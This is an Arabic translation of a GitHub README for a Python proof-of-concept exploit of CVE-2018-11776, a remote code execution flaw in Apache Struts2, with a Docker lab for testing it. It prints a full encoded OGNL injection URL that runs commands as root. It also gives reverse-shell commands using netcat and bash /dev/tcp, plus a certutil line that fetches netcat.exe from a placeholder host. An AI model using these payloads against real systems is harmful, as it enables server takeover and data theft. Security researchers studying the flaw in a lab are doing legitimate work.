
اختبار Python عملي وإثبات المفهوم لـ CVE-2018-11776، يتضمن مختبر Docker
hook-s3c (github.com/hook-s3c)، @hook_s3c على تويتر
اختبار Python عملي وإثبات مفهوم لـ CVE-2018-11776، ظهر أصلاً على؛ https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
كشف مان يو مو من Semmle عن ثغرة RCE في Struts2، يتم تسليمها في حمولة مشفرة في مسار عنوان URL للطلب.
الإصدارات المتأثرة هي 2.3 إلى 2.3.34، و2.5 إلى 2.5.16.
التكوين الافتراضي ليس ضعيفًا، ولكن إذا تم تكوينه بشكل خاطئ... F.
الاستغلال سيعمل بشكل جيد مع حاوية docker المصممة لـ cve-2017-5638 (struts2-showcase-2.3.12)
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
أضف التكوين أدناه؛
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
وكذلك؛
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
أعد تشغيل تومكات و/أو الحاوية
$ /usr/local/tomcat/bin/shutdown.sh
اختبر عنوان URL لمعرفة ما إذا حدث إعادة توجيه وتقييم؛
http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action
مع سكريبت الاختبار؛
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/HEAD/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
جهز جهازك لاستقبال الشل العكسي؛
$ netcat -lvp 31337
شغّل السكريبت؛
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
استبدل 32771 بمنفذ الحاوية المكشوف
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
جميع الطلبات التي تحتوي على شرطة مائلة (/) ستفشل لأن تومكات يحظرها بنشاط، قد تحتاج إلى الالتفاف حول ذلك، على سبيل المثال باستخدام متغيرات البيئة لـ /bin/bash كـ $SHELL في المثال أعلاه.
مع أخذ ذلك في الاعتبار، فإن علامة windows /c لن تعمل كما هو متوقع. لقد اختبرت هذا فقط على حاوية docker.
شكرًا لـ @Menin_TheMiddle على إظهار أنه يمكن حل مشكلة الشرطة المائلة، الكود الآن يدعم الشرطة المائلة وبالتالي أصبح الشل العكسي بدون netcat عبر bash ممكنًا الآن، كما يدعم الآن مثيلات Windows (غير مختبرة).
قم بتصحيح Struts الخاص بك، أو ببساطة لا تستخدمه.
أعتقد أنه يمكنك دائمًا بيع منتجات الاحتيال على الهوية إذا حدث اختراق وتم تسريب جميع تفاصيل عملائك! (أنت تعرف من أنت، أيها الحثالة المطلقة)
شكرًا لـ؛
تحية كبيرة لـ vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces